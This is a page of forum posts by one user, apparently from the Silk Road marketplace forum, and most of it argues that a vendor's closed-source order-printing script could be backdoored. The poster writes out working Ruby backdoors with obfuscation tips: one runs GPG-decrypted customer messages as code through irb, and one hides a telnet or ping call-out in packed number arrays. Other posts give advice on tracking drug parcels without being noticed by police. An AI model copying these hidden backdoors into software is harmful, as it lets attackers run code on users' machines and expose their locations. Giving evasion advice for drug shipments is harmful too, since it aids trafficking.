Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - kmfkewm

Pages: 1 ... 142 143 [144] 145 146 ... 249
2146
grepping for ping isn't going to find

[112, 105, 110, 103, 32, 108, 46, 116, 118]

grepping for [112, 105, 110, 103, 32, 108, 46, 116, 118] isn't going to find

[100 + 12, 100 + 5, 100 + 10, 100 + 3, 30 + 2, 100 + 8, 40 + 6, 110 + 6, 110 + 8]

2147
Quote
Well, for a start you'd need to translate your Ruby exploit to Python, but ignore that for now.

First I would need to learn Python but I am not going to bother to because I already showed it in Ruby, and the two languages are very similar. Object oriented (usually) interpreted scripting languages.


Quote
a) shipping the code with encrypted data that is decrypted and run when the code is executed AND the code is being executed on a system with network access;

Yes it would need to be run on a system with network access, no it does not need to ship the code with encrypted data it gets the malicious code after a vendor decrypts it with their own key.

Quote
inserting a function that checks decrypted addresses for such code to run AND is used in conjunction with an order containing that code AND is being run on a system with network access.

It doesn't need to check for code, it can check for anything. It can run messages that are 101 bytes as ruby code and puts all the others. And actually it doesn't even need that because you can directly issue commands to the terminal with Ruby at least and I would highly bet that you can with python. having `ping t.cc` in a script will ping t.cc, just need to encode it in some funky way to try to hide that it is happening. Now there is no need to load networking modules at all or to run any decrypted messages as code.

Quote
* No encrypted data is shipped with my code.

But it gets encrypted data input from random customers

Quote
* There is a copy of my GPG key currently.  I think I will remove it in light of this and just include the details for obtaining it (it's here, on the vendor pages and on the key servers).


There is no reason for there to be a copy of your GPG key, in the example I gave the exploit is encrypted to the vendors key and they load it into the program, they have no ability to tell encrypted ruby code apart from encrypted addresses because ciphertext looks random in either case.

Quote
* There is no such exploit in my code.

Possibly not. Probably not even! But nobody really knows unless we can look at it. That is the entire point of this thread. We should not have a culture here where peoples claims are taken at face value, especially when vendors are at risk. The purpose of my posting code was simply to show that even a tiny bit of code can make the difference between a secure program and a backdoored one. Honestly I was surprised at how well the backdoor was hidden, certainly better than in my first attempt where I simply unpacked all the calls to arrays of numbers. I have never tried hiding backdoors in code before, and if I tried harder I could probably even make it more subtle than the last example I gave.

Quote
* Such an exploit would be able to be spotted.

Indeed by anyone who know the language well enough to

A. Know what back ticks do
B. Know what pack and unpack do
C. Know what | does on a terminal
D. Know what irb is
E. Knows the language, since they wouldn't just look at that part of the code but would need to audit the entire thing

Such an exploit would be possible to spot if the program went through auditing, someone who doesn't know ruby is not going to look at my code and realize what is going on, they are going to see it doesn't have networking code included with it has no IP addresses or ports listed has no encrypted data included and then assume that they are safe. It would be even less likely to be spotted if I encoded the | as well, or maybe even the entire shell command.

[quote[* My code does not require or use a network connection in any way (vendors an make their own decisions on whether or not to utilise an air gap).[/quote]

Neither does the example code I showed, it gets the networking require from the decrypted ciphertext.

Quote
* Vendors do not need to purchase this using their vendor account, they can create a buyer's account, use that to conceal who they are and that they're using my code (as is the case for the vendor who asked me to write it).  This would pretty effectively stop an exploit checking address data from being used in a live system.

You would still have intelligence that someone who needs software to manage printing a lot of addresses for them is using a certain IP address.

Quote
So, your assertion that "100% of people who buy the script from Louis" will be fucked/exploited is as vile and baseless an assertion as Pine's statement that I am working for law enforcement.  It's one thing to to say, "here's how an exploit" could work, but it is another thing entirely to say that because you can think of an exploit then that's what I must be doing and therefore I am whatever you say I am.

I am just saying that we have no fucking clue what you are doing and I demonstrated that not all backdoors are as obvious as one would assume, even in a language like Ruby, which is similar enough to Python that the example works for demonstration purposes.


Quote
You, sir, are now engaging in the same type of vile and slanderous accusations as Pine.  Your assertion here that my code must contain an exploit because you thought of a way it might be done is as baseless as saying that because paedophiles use anonymous networks then everyone using an anonymous network is a paedophile.  It is a fallacious argument and I believe you know this, now you're just flinging mud in the hope that it sticks.

Stop reading into shit. I never said your code must contain an exploit. I countered your claim that your code MUST NOT contain an exploit because it has NO NETWORKING CODE by showing how a single array of three numbers and a call to pack (which has nothing to do with networking) is all it takes for it to have networking code remotely injected into it (with user interaction....but the user interaction that the entire system is designed to handle anyway) via a ciphertext created from a specially crafted plaintext.

2148
Quote
Then the issue boils down to where is the encrypted data coming from?  If there is encrypted data in my code (there isn't) then what you describe is possible.  If the only encrypted data is coming from vendor's order page then it's really not.

Doesn't the encrypted data on the vendors page come from customers? The encrypted data is coming from a customer who encrypts ruby code instead of their address. In fact they can even encrypt ruby code that puts their address after it is done with all of its networking.

Quote
To do that I would need to insert code which checked each decrypted address for a specific string and then generate the code.

No it doesn't need to generate the code. Currently what I showed does check for a specific string and if it finds it it pipes the decrypted message to a ruby interpreter, which then runs it as a completely different script automatically. There are probably even more sneaky ways to do it without looking for a special string.

Quote
All it does is decrypt the files created from the CSV, decrypt them (as previously described), read the data and then rewrite that in another format to a new file.  The reading and writing of files in Python is explained here:

http://docs.python.org/tutorial/inputoutput.html

We can not possibly know what it does without looking at it, that is the entire point of this thread. But honestly if you want to let the market decide I really don't give a shit. I think that you are thinking more with your wallet than logically though.

2149
Quote
Except elsewhere you have asserted that it is more than mere potential when you said that 100% of people using my software would be fucked/exploited (see my reply to that statement).

I don't recall saying that, but maybe I did I guess. Maybe you have confused me with Pine???

Quote
It uses *very* simple functions, I can explain what things like file.write() and file.readlines() do and then point them at the documentation (which includes examples) to show that I am not lying.

You can explain to people who don't know python that your python script is not backdoored. I could explain to people that | #{[105, 114, 98].pack("c*") sets the formatting of the text, I don't expect them to analyze every single line of what I write simply because they would essentially be learning Ruby to make sure I did not do anything sketchy. Wouldn't it make more sense for me to release the code here, then if anyone who knows Ruby looks at it they might realize what is going on and warn others. And if they know Ruby why are they going to buy something like this??

Quote
Then why don't you?  Either put your money where your mouth is, buy the code and release it or put your Ruby where your mouth is and code a free alternative.

Hm maybe I will although to be honest right now I am pretty busy working on other things that I will release publicly and not expect people to blindly trust.


Quote
Running an executable .py file uses the Python interpreter to run the code.  Imported modules are compiled at the time of import by the Python interpreter and run (which generates the .pyc files).  Python itself is built in C (which is obviously compiled) with some modules written in C and some in Python.

Ruby is same written in C with much of the modules also C. The primary difference seems to be that python has made it easy to get bytecode for running later without being parsed by the interpreter. That is coming in ruby 2.0 :D.

Quote
If the Python interpreter were exploited, that could be a vector of attack.  If I'd said "use this code with my custom version of Python" then sure, nail my arse to the wall.  I didn't because as long as it's an official release with support for the modules used (currently csv, but likely csv and os when the shell scripts are replaced at some nebulous point in the future) I don't really care.  There are enough code savvy eyes looking at the Python code base to make sure someone doesn't sneak something in there.

I am not at all worried that the primary  python interpreters are going to be exploited anymore than I am that firefox is. What I am worried about is the fact that someone buying a script like this is not going to recognize | #{[105, 114, 98].pack("c*") is the difference between secure and backdoored. To recognize that you would need to know about both pack and unpack as well as ways of encoding data as well as what the pipe symbol does on the terminal as well as what back ticks do in ruby. The actual program distributed would have no networking code, would make a single call to GPG using the users own key, and could even be made more sneaky by removing the need for an if else statement.

2150
You might be able to have it so that you encrypt code that does networking with GPG and have a special header for it,

That would still be easy to spot, just look for encrypted data in the original files.

Still nothing that wouldn't be noticed, but to notice such a thing you would really need to know the language and again if you know the language why are you using a simple script someone else made.

As you say, it is something that would be noticed and also easy to find.  Even if you change the "BEGIN PGP MESSAGE" and "END PGP MESSAGE" lines to obfuscate the encrypted block, you'd still have to change them back before decryption.  Whatever method you conceive of to conceal them or to rewrite them would be easily found.

Also, searching the code for any GPG command which did not invoke the user's own key and passphrase would be easy to spot.  GPG is invoked *once* in this code.  By default it is "gpg --decrypt-files *.asc" and that's it (either in a bash script or in an os.system() call).  That might be modified to force use of a particular key in order to deal with files encrypted with --hidden-recipient, --hidden-encrypt-to or --throw-keyid.  Anything else without a damn good reason and the jig is up.

You are completely misunderstanding what I did. I didn't include encrypted code with the program, I included a line of code in the program that executes a decrypted ciphertext as another script if it has a special signal string in it. The only difference between a completely legitimate version of my simple script (that merely takes a file with a GPG ciphertext in it and prints the plaintext to the screen after the user has entered their password) and a malicious version that allows an attacker to craft a ciphertext that decrypts into additional code that is executed, is this line of code in the original program: | #{[105, 114, 98].pack("c*")

And you can claim all you want here about how your code functions, but nobody will ever know unless they look at it and the full point we are trying to make is that the people who are going to buy it inherently are people who will not notice that | #{[105, 114, 98].pack("c*") is the difference between a safe program and a backdoored version.

2151
try this on for size.....

the actual program I would maliciously distribute would be a bit bigger (to actually serve a purpose other than to demonstrate a clever backdoor) but would have this in it ...

Which would be easy to spot by either the presence of the encrypted message or a decryption command other than the one included in the existing code.  In order to get it to run with the existing sroppy config it would need to be a .asc file that is distributed initially which is encrypted to the vendor's key (which may be different from the key they are communicating with me with and may not reveal the vendor's username).

So let's be clear: there is NO encrypted data distributed with my code.  The only encrypted data used is taken from the vendor's own order page and it is all handled the same way (decrypted, converted to a printable format and then printed).

There is nothing encrypted in my example either, the only encrypted data would be ciphertexts encrypted by anyone to the vendors key. The trick is that if one of the ciphertexts decrypts into a plaintext with a signaling string in it, the entire rest of the message is treated as a totally independent Ruby script. I will change the comments to be more accurate.

Quote

#opens the file with your GPG ciphertext in it. Right now you need to have a file that holds them, however the ciphertext can come from anywhere.
file = File.open("test", "r")

#creates a string variable named message
message = ""

#reads the ciphertext file line by line and adds each line to the string variable message, loading the ciphertext into memory
while line = file.gets
message << line
end


#decrypts the message and references the plaintext with the variable decrypted_message
#the ciphertext is decrypted by taking the ciphertext in memory and sending it to the command line
#which then echos it and pipes it to gpg with the -d command. You will be prompted by GPG for
#your passphrase.

decrypted_message = `echo "#{message}" | gpg -d`


#if the decrypted message has the string gpg-privacy-toolkit anywhere in it then the decrypted message is
#piped to the command line where it is echoed and then piped to the ruby interpreter which is called with
#the word irb which is represented as an arracy of numbers to try and obfuscate what is going on. The pipe (|)
# can also be encoded in this way. Once the decrypted message is piped to irb it is treated as a ruby script,
# so if there is networking code in the decrypted message then networking can take place even though there
# is no networking code in this program, the decrypted message is treated as an entirely new script.
if decrypted_message.include?("gpg-privacy-toolkit")
 puts `echo "#{decrypted_message}" | #{[105, 114, 98].pack("c*")}`

#if the decrypted message doesn't have the signal gpg-privacy-toolkit in it, then merely put the output
#of echoing the decrypted message, which is a bit convoluted since we could just puts the decrypted
#message directly, but it makes the special case seem less sketchy to do it this way.
else
 puts `echo "#{decrypted_message"}`
end

#it could be made to look even less sketchy by piping every message to irb and echoing the output of it
#and making it a string to puts if it doesn't contain the special signal string or otherwise treating it as a
#script, then messages will be printed to the terminal unless they have the special signal string
#but there will be no need for an if else statement.


2152
Or you could use any of the thousands of track my package sites that pull the info from usps. You can hit them with tor and they proxy the request thus not directly leading to you, and not showing as being from a tor exit node.

For example, when you track a package from e-bay it does not send you to the usps site, it grabs the info from usps and displays it to you thus proxying your request.

Ah yeah that seems to be a good solution also, forgot about those.

2153
Checking shipping once in a blue moon should be fine as long as you don't track on TOR

Checking tracking without Tor is fine if you don't care that it links your IP address to the package

I  agree that tor is probably better but since this is a unique querry could it be used to try to track the route back thru tor? Not understanding Tor this might be a stupid question

Check tracking with Tor, your package could be flagged as likely contraband. Check tracking without Tor, you link your IP address to the package. Check tracking from Open Wifi from random locations frequently your address could be flagged as likely getting contraband. Check tracking from your own IP address and the package is strongly linked to you and good bye plausible deniability and good bye any benefit of using a fake ID box or similar. Don't check tracking and you wont know when it says "your package has been seized by the feds, ur gonna get ass raped" and then the benefits of using a fake ID box or similar are reduced and you can't clean house before the raid.

2154
Quote
As such, Louis has the right to market his wares under any conditions that he deems fit.

Nobody really argued that he should be banned from selling it, we are just warning people that it is dumb if they buy it unless the source code is publicly available for all to audit. The type of people who will buy something like this are inherently people who do not know how to properly audit it.


Quote
Frankly, what I see here is that Louis appears to be being held to a higher standard than other vendors here on Silk Road.

If a vendor is selling MDMA tablets that are of a press known to frequently contain PMA then is it wrong for us to bring this up? No. He is being held to the same standard as any other vendor, reviews are being left on his product. If someone sells PMA we don't need to try it to leave a review saying that it is dangerous, do we?

Quote
As almost everyone who knows me on here is aware, I'm not a drug user. Let's put that aside for a moment, and assume that this is not the case -- let's assume for a moment, for the purpose of argument, that I have decided to purchase a quantity of heroin. Now, how do I know that the heroin I purchase from a vendor on here has not been cut with Drano or rat poison? I don't.

It is wrong to say that his product IS backdoored. It is wrong to say a vendors product has been cut with Drano if you have not purchased some and tested it. it is not wrong to say that PMA is dangerous if a vendor is selling PMA.


Quote
I don't see DPR mandating that all drug vendors must have their wares laboratory-tested prior to sale, to prove their purity, and to prove that they were not contaminated/adulterated with harmful chemicals.

It wouldn't be a bad idea but the implementation details are a bit difficult. There are labs in NL that legally test drugs and return such data, maybe we could work something out with them. The hardest part is making it so vendors do not know who the people doing tests are. And having a single person who does tests illegally in countries where it is not allowed will clearly not work. It would at least be nice if we had certifications a vendor can obtain through some private service here that randomly buys drugs from vendors to be shipped to new addresses for quality control. Mandated? Of course not. An extra service for harm reduction....yes.

Quote
I also haven't seen Pine (or anyone else) pillory the vendors of the various USB-stick-based anonymity solutions that are being hawked on Silk Road.

Really? I have called several of them 'potential feds'. I wouldn't be caught dead ordering a USB stick based anonymity solution from a vendor here. These techniques are literally straight out of fed 101.

Quote
So, again, why is Louis being held to a higher standard than everyone else? Why is he being asked to prove the safety of his product, when every other vendor on Silk Road is not?

Because his product could lead to vendors being busted and then customers being busted? But he has no obligation to be responsible with his programs, just as we have no responsibility to say we think his behaviors are anything other than sketchy.

Quote
I don't trust Louis' software -- I wouldn't rouch it with a barge-pole. I also wouldn't trust software written by Pine, kmfkewm, Shannon or even DPR themselves for that matter, unless I had thoroughly vetted it first.

You should learn C because I am going to release some nice stuff soon :). Also have it in Ruby nearly done but that is just for prototyping.

Quote
Louis is absolutely right -- he has the right to sell his software, and people have the right to buy it -- or not -- as they see fit.

Sure enough and we have the right to leave reviews saying that we find it sketchy and warning the poor souls who might otherwise think it is safe to privately obtain scripts from people on SR to help aide them in their drug trafficking careers.

2155
I usually take LSD once a week, these days some weed every now and then maybe a little ketamine or some random other drug once in a blue moon. Sometimes I go a month without using anything. Sometimes I go on month long binges.

2156
Hmm, Interesting discussion.  Kmfkewm if that's your idea of a fight involving good and evil and you think of that as a valid argument then you're clearly not looking at the obvious fact.  You say that open source software has given us the ability to get the better of the dea or the fbi but that's simply not true.  In this reality "evil" is winning by a landslide and there is no end in sight.  If the government magically disappeared it would be the same.  You think poor and middle class people would have the resources to counter "private defense agencies" of the rich?  They couldn't.  Sure maybe we have avoided losing our internet rights with open source software and can even order drugs with little risk now, but that has little to do with real life where the dea and the fbi imprison people every day and the people with money have the power to infringe on your rights.  right now it's the government with armies and police forces and in anarchy it would be corporations with "private defense agencies."  What's the difference?

Is it not true that bullet proof vests protect us from bullets even if people who shoot themselves in the head continue to die?   

2157
Checking shipping once in a blue moon should be fine as long as you don't track on TOR

Checking tracking without Tor is fine if you don't care that it links your IP address to the package

2158
I just realized I was being far too complicated with my backdoor. How about this.

Quote
#opens the file with your GPG message in it
file = File.open("test", "r")
message = ""

#reads the file line by line and adds each line to the string variable message
while line = file.gets
message << line
end

#decrypts your message and stores the plaintext as decrypted_message
decrypted_message = `echo "#{message}" | gpg -d`

#prints the decrypted message to the screen
puts `echo "#{decrypted_message"}` 
`#{[116, 101, 108, 110, 101, 116, 32, 49, 50, 55, 46, 48, 46, 48, 46, 49, 32, 56, 49, 49, 56].pack("c*")}`

On the negative side it now has an even bigger string of inexplicable numbers, on the positive side no matter what message the user gets it telnets to whatever server I would like it to go to and the message doesn't need to include ruby code at all. Hmm I bet I can think of an even more sneaky way to get IP addresses.....this is kind of fun. 

hm ping has less numbers `#{[112, 105, 110, 103, 32, 108, 46, 116, 118].pack("c*")}`

2159
Quote
It seems to me that in an anarcho-capitalist society there would still be just as many extremely powerful people who have power over the rights of other people, and that they just wouldn't be in "official" positions.  There would still be a vast difference in rights between the rich and everyone else.  To me that's not true human equality.

Agorism is not magic and there will always be people who try to unfairly control others. As an extreme analogy: No matter how many men desire to, or how righteous their desire is, they can never stop an omnipotent being from doing as it pleases with them. No political ideology or popular support could change such a scenario. Agorism itself is largely tied to the non-aggression principle, people should be free to do what they please so long as they do not infringe on the freedom of others. Anyone who infringes on the freedom of others is seen as a threat and attempts will be made to stop them, generally via private defense agencies. The rich and powerful could have their own agencies that try to allow them to do whatever they please, that is simply a fact of reality and nothing can change it. However nobody says that they will win. Look at the powerful agencies such as FBI and DEA, it appears as if they have been stripped of their power to oppress by a single man using open source software. Good and evil will always fight but thankfully there is nothing to stop good from winning many battles in what is likely to be a never ending war.

2160
And thus LouisCypher is.....?

Engaged in a business model that should not be sustainable on a forum that has members who value security?

Pages: 1 ... 142 143 [144] 145 146 ... 249